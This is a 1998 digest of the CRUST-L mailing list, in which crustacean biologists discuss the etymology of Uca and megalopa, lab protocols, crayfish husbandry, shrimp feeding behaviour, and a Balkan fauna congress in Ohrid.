to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Bob Van Syoc Date: Wed, 4 Mar 1998 09:03:07 -0800 (PST) Subject: Re: CRUST-L: Uca Jaeger, Edmund C. 1959. A source-book of biological names and terms. Charles C. Thomas, Springfield, IL, U.S.A. has an entry for "Uca". "Tupi Indian uca, a fiddler crab." Perhaps one of our South American colleagues can help us find out whether or not Tupi indians used the word "uca" in reference to anything other than fiddler crabs. ***************************************************************************** Robert J. Van Syoc, Ph.D. email: rvansyoc@cas.calacademy.org Senior Collection Manager http://www.calacademy.org Invertebrate Zoology and Geology voice: (415) 750-7082 California Academy of Sciences fax: (415) 750-7090 Golden Gate Park San Francisco, CA 94118-4599 ***************************************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 4 Mar 1998 12:54:42 -0500 (EST) Subject: CRUST-L: uca Please respond to Bruce Libman, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- X-Sender: blibman@sunset.backbone.olemiss.edu From: blibman@sunset.backbone.olemiss.edu (Bruce Libman) Subject: Thanks for the info on origin of Uca Greetings, =20 I would like to thank everyone for their help on the origin of Uca. The consensus is that it is a Tupi Indian (Brazil) word for a fiddler crab. I am told by one respondent that the word can be roughly translated as "U" meaning eye and "=E7=E1" meaning leg. Thanks. Bruce Libman Phone (601) 232 7203 (work) Department of Biology (601) 238 2572 (home) University of Mississippi =20 University, MS 38677 blibman@olemiss.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Erik Sotka Date: Wed, 4 Mar 1998 14:00:49 -0500 (EST) Subject: CRUST-L: Amphipod populations? Hello! I am looking to contact those people on the Atlantic coast who can point me to local populations of the following amphipod species... Ampithoe longimana A. valida Cymadusa compta Thanks in advance. Erik Sotka Institute of Marine Sciences - UNC at Chapel Hill 3431 Arendell Street Morehead City, NC 28557 Phone: 919-726-6841 Email: sotka@email.unc.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Luis Orlando Duarte C." Date: Wed, 04 Mar 1998 18:41:21 -0800 Subject: CRUST-L: E-mail address request Hello all! I am looking for the e-mail address of Michael H Prager (I think He is a Fishery Biologist of the Southeast Fisheries Science Center, Miami), Saul B. Saila and Conrad W. Recksiek (University of Rhode Island). Could you help me in this search? Thanks in advance... Sincerely, Luis Orlando - ----------------------------------- Luis Orlando Duarte Fish Ecology Project INVEMAR - Marine and Coastal Research Intitute A. A. 1016 Santa Marta, Colombia S. A. e-mail: ecolpesq@santamarta.cetcol.net.co =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "DANIEL ORE[1000209@UNMSM.EDU.PE]" <1000209@unmsm.edu.pe> Date: Wed, 4 Mar 1998 21:05:12 -0500 Subject: CRUST-L: Consultation methodo cariotype I am looking for protocols to obtain cariotype of crustaceos, if outside possible that some of You me can provide. It wanted this information to be able to make comparisons between some species of crustaceos that are in my country and power to relate from another point of view. Thank you very much Pd Excuse my Ingles Bach. Daniel Saul Ore Chavez Universidad Nacional Mayor de San Marcos Facultad de Ciencias Biologicas Laboratorio de Biologia Celular y Genetica. (Lab. 106) Lima 14- 226 Lima - Peru E-mail: 1000209@unmsm.edu.pe danielore@hotmail.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Carlo Pipitone Date: Thu, 05 Mar 1998 10:43:44 +0100 Subject: CRUST-L: Re: E-mail address request At 18.40 04/03/98 -0800, Luis Orlando Duarte C. wrote: >Hello all! >I am looking for the e-mail address of Michael H Prager (I think He is a >Fishery Biologist of the Southeast Fisheries Science Center, Miami), >Saul B. Saila and Conrad W. Recksiek (University of Rhode Island). >Could you help me in this search? >Thanks in advance... Sincerely, > >Luis Orlando >----------------------------------- >Luis Orlando Duarte >Fish Ecology Project >INVEMAR - Marine and Coastal Research Intitute >A. A. 1016 Santa Marta, Colombia S. A. >e-mail: ecolpesq@santamarta.cetcol.net.co Hello listers, I have often asked for someone's email address on these lists, and have always received many kind and replies to my requests. There are some useful web sites that can be searched for email addresses (and I usually search there before asking to the lists). At least two of them let you both input your personal information and search for addresses: http://www.bio.net/addrsearch.html (search form) http://www.bio.net/adrform.html (input form) http://www.unesco.org/ioc/isisdb/html/glodsearch.htm (search form) http://www.unesco.org/ioc/isisdb/html/glod.htm (input form) Other sites contain links to many directories, e.g.: http://www.york.biosis.org/zrdocs/desktop/biol_dir.htm http://wwweti.eti.bio.uva.nl/database/txnmsts/default.shtml http://www.univaq.it/~sc_amb/direct.html#PAGANI http://www.icgeb.trieste.it/cgi-bin/whosmgr.pl?biologist Hope this helps. Regards, Carlo Pipitone ***************************************** Carlo Pipitone - -------- CNR-ITPP Laboratorio di Biologia Marina via G. da Verrazzano 17 91014 Castellammare del Golfo (TP), Italy tel: (0924)35013 fax: (0924)35084 e-mail: carlopip@tin.it ****************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Abdu uri Date: Thu, 5 Mar 1998 13:48:23 -0800 (PST) Subject: CRUST-L: vitelline envelope Does someone know a method for seperating the vitelline envelope from the oocytes/eggs of crustacean?. I want to study the polypeptide profile of this envelope. Thanks =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Chris J. Higham" Date: Thu, 5 Mar 1998 11:10:50 -0500 (EST) Subject: CRUST-L: Respiration in stomatopods Hello everyone I am planning a study on respiration in the stomatopod N. oerstedii. Could anyone provide references on the physiology (not eyes please), but particularly the respiration rates in stomatopods. Dr. Caldwell informed me of the studies by Full et al. and Alastair. If anyone could inform me of any others I would greatly appreciate it. Thank you, Chris Higham =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 6 Mar 1998 09:05:11 -0500 (EST) Subject: [none] Please respond to Gonzalo Hernandez, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Reply-To: "Gonzalo Hernandez" From: "Gonzalo Hernandez" Hi Crustlers Does anybody know when and where the term megalopa was used for the first time? .Any help would be appreciated. Thanks in advance ========================= Gonzalo Hernandez G. Universidad de Oriente Nucleo Nueva Esparta Apdo. postal 147 - Porlamar Isla de Margarita - Venezuela ========================= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 6 Mar 1998 09:57:33 -0500 (EST) Subject: CRUST-L: re: 1st use of megalopa Please respond to the list and not to me. Thanks, Jeff - ---------- Forwarded message ---------- To: gonzalo@enlared.net From: pnoel@cimrs1.mnhn.fr (Pierre NOEL) X-Sender: pnoel@cimrs1.mnhn.fr Subject: Re: 1rst use of megalopa Cc: crust-l@vims.edu >Hi Crustlers >Does anybody know when and where the term megalopa was used for the first >time? >.Any help would be appreciated. >Thanks in advance >Gonzalo Hernandez G. The following is copied from "Glossaire carcinologique", document no 1, premiere liste de termes (Th. Monod, 28 janvier 1971) p. 57. - - Megalopa, Leach, Edimb. Encycl., 7, 1830 [1814] : 431 - - Megalops Edwards, Hist.nat. Crust., 2, 1837 : 260 - - Megalopus Latreille in Cuvier, Regne animal, 2e ed., 4, 1829 : 85 - - Megalope Czerniawsky, 1878 : 94 - Gurney 1939 : 117 ("Leach, 1813") et 1942 : 36, 38 ("Leach, 1815") - Brachyoures. En esperant que cela pourra vous aider. Cordialement. Pierre. Pierre Y. NOEL, Biologie des Invertebres marins, CNRS URA no699, Museum national d'Histoire naturelle, 55 rue Buffon, F-75005 Paris, France. e mail pnoel@mnhn.fr Tel +33 1 4079 3098 - Fax +33 1 4079 3089 Visitez le serveur du Museum/Visit our Webserver (http://www.mnhn.fr) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: patf@cloud.net.au (Peter Farrell) Date: Thu, 05 Mar 1998 20:03:00 +1000 Subject: CRUST-L: Freshwater Crayfish Farming G'day All, I am just beginning a PhD investigating how crayfish (Yabbie:- Cherax destructor) farmers might increase their productivity. The project is farm-based. Does anyone have any pet theories, thay think should be investigated?. Yabbie farming is generally carried out in a semi-intensive way in Australia. An unrelated matter; I am trying to subscribe to AQUA-L, but without success, can anybody help me? Peter Farrell Dept of Biology and Biotechnology RMIT University MELBOURNE AUSTRALIA =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Sergio F. Nates" Date: Fri, 06 Mar 1998 10:25:13 -0600 Subject: CRUST-L: Megalopa Gonzalo: The term Megalopa was used for the first time by Leach, 1814 and it was based on a brachiyuran form. In: Leach, W.E. 1814. Malacostraca Podopthalmata Brittanniae. London. Sergio F. Nates, Ph.D. Research Associate Biology Department University of Southwestern Louisiana P.O. Box 42451 Lafayette, LA 70504 Phone (318)482-5230 FAX (318) 482-5834 e-mail LRN8889@usl.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: edupre@SOCOMPA.CECUN.UCN.CL (Mag. Enrique Dupre M.) Date: Fri, 6 Mar 1998 17:29:47 -0300 Subject: Re: CRUST-L: vitelline envelope Dear friend: I obtained good results separating the vitelline coat of the rock shrimp Rhynchocinetes typus with sea water Ca-free. After 2 min. it can see the viteline coat soft and ondulate. With a needle and a pasteur pipete it can obtain the envelope. Much beter is to centrifuge de oocyte adding a protease inhibitor and obtaining the supernatant with the envelope protein. Good luck Enrique Dupre Coquimbo, Chile > >Does someone know a method for seperating the vitelline envelope from the >oocytes/eggs of crustacean?. I want to study the polypeptide profile of >this envelope. > > >Thanks >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > M.Sc. Enrique Dupre Lab. Biol. de la Reprod. Fac. Ciencias del Mar Universidad Catolica del Norte, Coquimbo, Chile Fax: 5651-311287 E-Mail: edupre@socompa.cecun.ucn.cl =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: li li Date: Sat, 7 Mar 1998 10:37:22 +0800 Subject: CRUST-L: E-MAIL ADDRESS SEARCHING Dear Colleagues, Could anybody tell me the e-mail address of Dr.Forward,R.B.Jr? He is in Duke University and researches on crabs. Thanks in advance. Li Li The Swire Institute of Marine Science The Dept. of Ecology and Biodiversity The Univ. of Hong Kong Cape d'Aguilar, Shek O Hong Kong =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Todd Oakley Date: Sat, 7 Mar 1998 01:39:17 -0500 (EST) Subject: Re: CRUST-L: E-MAIL ADDRESS - D. Forward > > Could anybody tell me the e-mail address of Dr.Forward,R.B.Jr? He is in Duke > University and researches on crabs. > His address is rforward@acpub.duke.edu *************** Todd Oakley Duke University Zoology Dept. Box 90325 Durham, NC 27708 **************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jari Sandqvist Date: Mon, 09 Mar 1998 06:47:01 -0500 Subject: CRUST-L: Intelligence and Decapoda? Hi guys Yesterday evening I saw something I have to describe you. In one of my 250 liter aquariums I have Macrobrachium brasiliense specimens with several Loricariidae's and a school of guppies (Poecilia reticulata, aquarium strains). Occasionally I have seen that the tail of some guppies is eaten. This happens only in aquariums where I have M. brasiliense shrimps. I have never had a possibility to see how they are hunting guppies. Yesterday evening I give to that aquarium a lot of small bites of Baltic herring as food for all shrimps and fish. One of the biggest male (second last stage) took a place on the middle of the aquarium. He stay there on the top of a piece of wood. On his right claw he had a piece of herring and one young guppy female did try to take cuts of it. I was thinking there is something weird happening - normally my shrimps take so much food they can and goes to some hidden place to eat their foods. And the young guppy is still feeding that piece of herring. The right claw was quite near the head of the shrimp - I saw. The left claw! It was so open it ever could be and slowly, slowly the srimp did move it toward the young guppy. Can this be possible I was thinking. Could a shrimp use a bait for getting more food in this kind of situation?! Normally if some fish comes too near of these shrimps they will just fling fishes away and continue whatever they was doing. Suddenly I see how the left claw attacks! Now the claw isn't any more open and it is there where the guppy did exist one second ago. Situation is over. What I did see? How a Macrobrachium did use his brains? :-o Thanks for your time Jari Sandqvist =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "John W. Short" Date: Sun, 8 Mar 1998 15:14:40 +1000 Subject: Re: CRUST-L: Cherax quadriqinatus in home aquariums Jari, Redclaws will try and escape from an aquarium for a variety of reasons. Firstly, they are unnaturally confined in an aquarium and will try and wander if given the opportunity. Their usual escape route is up the air hose and if the lid is not secure out the corner of the tank. I had the a large female escape twice even though she was the only crayfish in the tank. On the second occasion, when found, she was so dehydrated that when returned to the tank she floated on the surface for over an hour before sinking to the bottom! For the first few days she looked decidedly unhealthy but staged a full recovery over a period of two weeks. It is unnecessary to have more males than females for successful reproduction in an aquarium. In aquaculture the ratio may be as high as four females for every large male. Having two males in the same tank (even a relatively large aquarium) is probably not a good idea. Although said to be less aggressive than other species of Cherax, agonistic behaviour between males is still well developed, particularly at night. For successful mating you probably need water temperatures above 25 degrees Centigrade and a 12/12 light/dark cycle or better. The female you have should be large enough to mate. _____________________________________________________________________ Mr John W. Short Crustacea Section Queensland Museum PO Box 3300 South Brisbane Qld 4101 Australia Ph: +61 [0]7 3840 7717 Fax: +61 [0]7 3846 1226 (running MS Internet Mail 4.70 on a PC - MIME format) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 9 Mar 1998 09:38:31 -0500 (EST) Subject: CRUST-L: Balkan conference - ---------- Forwarded message ---------- To: jamec@suga.vienna.at From: jamec@suga.vienna.at (Werner Haberl) Subject: "BIOECCO" Congress / Macedonia - 1st Circular This congress announcement goes out to several Newsgroups / Listservs... My sincere apologies if you receive multiple copies... _____________________________________________________________________ ******* Please forward to anybody who might be interested... ******** *** To reply: Please *do NOT reply to the list* (CHECK!) *** ** All replies should go to: ** ********************************************************************* The Second International Congress on "BIODIVERSITY, ECOLOGY AND CONSERVATION OF THE BALKAN FAUNA" to be held in Ohrid (Macedonia) in Autumn 1998 * F I R S T C I R C U L A R * ********************************************************************** Congress Info ********************************************************************** Contents: o Congress Announcement & Description o Websites, Info & Links o Pre-registration Form & Questionnaire (not binding / informal) o List of Members of the Organizing Committee o Direct Link Access ********************************************************************** The Macedonian Museum of Natural History is organizing The Second International Congress on "Biodiversity, Ecology and Conservation of the Balkan Fauna" which will be held on September 16-20, 1998 in Ohrid, Macedonia. A N N O U N C I N G THE SECOND INTERNATIONAL CONGRESS ON THE BIODIVERSITY, ECOLOGY AND CONSERVATION OF THE BALKAN FAUNA The Second International Congress on Biodiversity, Ecology and Conservation of the Balkan Fauna will be held in the Hotel Desaret, Ohrid, Macedonia, on September 16-20, 1998. We anticipate participants from over 15 countries, so this will be a great opportunity to share scientific findings and ideas. (Topics of the 1st Congress, held in Sofia 26-29 May 1997, included: Faunistic diversity, ecology and protection of freshwater and sea ecosystems; faunistic diversity and ecology of reptiles, mammals, birds, arthropods; population genetic aspects and parasitology.) Meeting rooms will be in the Hotel and are equipped with all the usual audio-visual aids as well as video and computer facilities. The Congress' Proceedings will be published as a special symposium volume by the Macedonian Museum of Natural History (Skopje). (Participants will be able to reserve copies at the meeting). The official language of the Congress will be English, and manuscripts should be submitted for consideration at the time of the meeting. The Hotel Desaret is located on the coast of Lake Ohrid, overlooking a bay. Hotel Desaret is just 10 minutes from the city of Ohrid, and 20 minutes from Ohrid Airport. Accommodation will be in either single or double rooms, and costs will include all meals (commencing with dinner on Tuesday 15th through to breakfast on Monday 21st), plus access to the Hotel's private beach, tennis courts and bowling alley. Social activities scheduled include a complementary 'welcome to Macedonia', reception, dinners with live music, and field trips to the St. Naum Monastery, the Lake Ohrid springs, the Galicica National Park, and Lake Prespa. The UNESCO World Heritage Site of Lake Ohrid is known to host 146 endemic species. It lies on the south-western border of Macedonia, 100 miles (160 km) from Skopje International Airport. Ohrid is a museum town, with cultural, historical and artistic heritages dating from the Early Christian Period to the present day. The town features many interesting museums, churches, a pleasant shopping centre, and fine restaurants catering for every taste. The local people are friendly and diverse. Abstract submission forms, pre-registration document forms, and accommodation registration forms will be enclosed with the Second Announcement. We are pleased to announce that we can offer a special reduction on the registration and accommodation fees to student participants and young researchers (below the age of 30). _______________________________________________________________________ WEB-SITES, INFO & LINKS: o Congress Site: "Biodiversity, Ecology and Conservation of the Balkan Fauna" http://members.vienna.at/shrew/biodiv-congress.html Congress Info o Preliminary Questionnaire / Registration Form http://members.vienna.at/shrew/biodiv-register.html o Accommodation in Ohrid during the congress http://members.vienna.at/shrew/ohrid-accommodation.html o The Macedonian Museum of Natural History http://members.vienna.at/shrew/skopje-museum.html o Information on the City of Ohrid (Congress Site) http://members.vienna.at/shrew/ohrid-info.html o Climate, Landscape and Natural Reserves of Macedonia http://members.vienna.at/shrew/macedonia-nature.html o Other Macedonian Links http://members.vienna.at/shrew/macedonia-main.html _______________________________________________________________________ * THIS WILL BE A GREAT MEETING SO BE SURE TO BE THERE... * ======================================================================= Anybody interested to participate should complete the following form / questionnaire. You can either send the completed form by fax to the Macedonian Museum of Natural History (Skopje) or send it as email. _______________________________________________________________________ Return the following form to: W. Haberl, Organizing Committee Austria E-mail: jamec@suga.vienna.at _______________________________________________________________________ SECOND INTERNATIONAL CONGRESS ON THE BIODIVERSITY, ECOLOGY AND CONSERVATION OF THE BALKAN FAUNA Ohrid (Macedonia), September 16-20, 1998. Preliminary questionnaire NAME _________________________________________________________ _________________________________________________________ ADDRESS _________________________________________________________ _________________________________________________________ _________________________________________________________ _________________________________________________________ PHONE _________________________________________________________ FAX _________________________________________________________ E-MAIL ________________________________________________________ Rank your interest in the following excursions from first choice (1) to third choice (3). ___ St. Naum Monastry and the lake springs (boat). ___ Galicica National Park and Lake Prespa (bus) ___ Pelister Ntaional Park (bus) ___ Struga Natutal History Museum (bus) ___ Radika River (bus) ___ Ohrid cultural monuments (bus) ______________________________________________________________________ Additional Information / Special Interests: - ----------------------------------------------------------------------- Please complete as soon as Dr. Svetozar Petkovski possible and return to: Macedonian Museum of Natural History, Boulevard Ilinden 86, MK-91000 Skopje 5, MACEDONIA Fax: (++389) 91 116 453 Or send E-mail to: Dr. Werner Haberl Organizing Committee jamec@suga.vienna.at ======================================================================= Hitherto Nominated Members of the Congress' Organizing Committee: Macedonia Dr. Svetozar Petkovski: Macedonian Museum of Natural History Skopje, Macedonia M.Sc. Metodija Dimovski: Assistant Minister Government of the Republic of Macedonia, Ministry of Urban Planning, Constuction and Environmental Skopje, Macedonia Ms. Liljana Kitanovska: Minister's Adviser Government of the Republic of Macedonia, Ministry of Culture Skopje, Macedonia Prof. Dr. Jonce Sapkarev: Institute of Biology, Faculty of Natural Sciences Skopje, Macedonia Ms. Liljana Handzinska: Assistant Minister Government of the Republic of Macedonia. Ministry of Science Skopje, Macedonia Greece Prof. Dr. Anastasios Legakis: Zoological Museum, Department of Biology University of Athens, Greece Dr. Giorgos Mertzanis: Scientific Department Thessaloniki, Greece United Kingdom Dr. H.I. Griffiths: Research Institute for Environmental Science & Management University of Hull United Kingdom Dr. Jane M. Reed: Research Associate Department of Geography, Loughborough University, United Kingdom Slovenia Prof. Dr. Boris Krystufek: Slovene Museum of Natural History Ljubljana, Slovenia Croatia Dr. Nikola Tvrtkovic: Croatian Museum of Natural History Zagreb, Croatia Yugoslavia Prof. Dr. Bozidan Curcic: Institute of Biology University of Belgrade, Yugoslavia Prof. Dr. Marija Skrinjar: Faculty of Technology, University of Novi Sad Novi Sad, Yugoslavia Bulgaria Prof. Dr. Petar Beron: National Museum of Natural History Bulgarian Academy of Sciences Sofia, Bulgaria Prof. Dr. Vassil G. Golemansky: Institute of Zoology Bulgarian Academy of Sciences Sofia, Bulgaria Turkey Prof. Dr. Nihat Aktash: University of Trakya Fen-Edebiyat Faculty Edirne, Turkey Albania Dr. Ferdinand Bego: Tirana University Faculty of Natural Sciences Museum of Natural Sciences Tirana, Albania United States of America Dr. Marie Simovich: Biology Department University of San Diego, USA Prof. Denton Belk: Our Lady of the Lake University Biology Department San Antonio, Texas, USA Czech Republic Dr. Jan Zima: Institute of Systematic and Ecological Biology CAS, Brno, Czech Republic Austria Dr. Werner Haberl, Hamburgerstr. 11, A-1050 Wien, Austria. E-mail: jamec@suga.vienna.at ======================================================================= Dr. Werner Haberl Organizing Committee Austria Contact: jamec@suga.vienna.at URL: http://members.vienna.at/shrew/biodiv-congress.html Congress Info ======================================================================= Direct Link Access for Netscape Users: Pre-registration Form Accommodation Mac. Mus. Nat. Hist. Skopje Ohrid Info Climate, Landscape and Nature Macedonian Links ======================================================================= Interested in Shrews (Soricidae, Insectivora, Mammalia) ...? - Check: ======================================================================= URL: http://members.vienna.at/shrew (The Shrew (ist's) Site) The Shrew (ist's) Site Dr. Werner Haberl Editor, SHREW TALK (http://members.vienna.at/shrew/shrewtalk.html) Hamburgerstr. 11, A-1050 Vienna, Austria Email: shrewbib@sorex.vienna.at The Shrew Bibliography (> 6000 references) (also available on CD ROM) ======================================================================= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #123 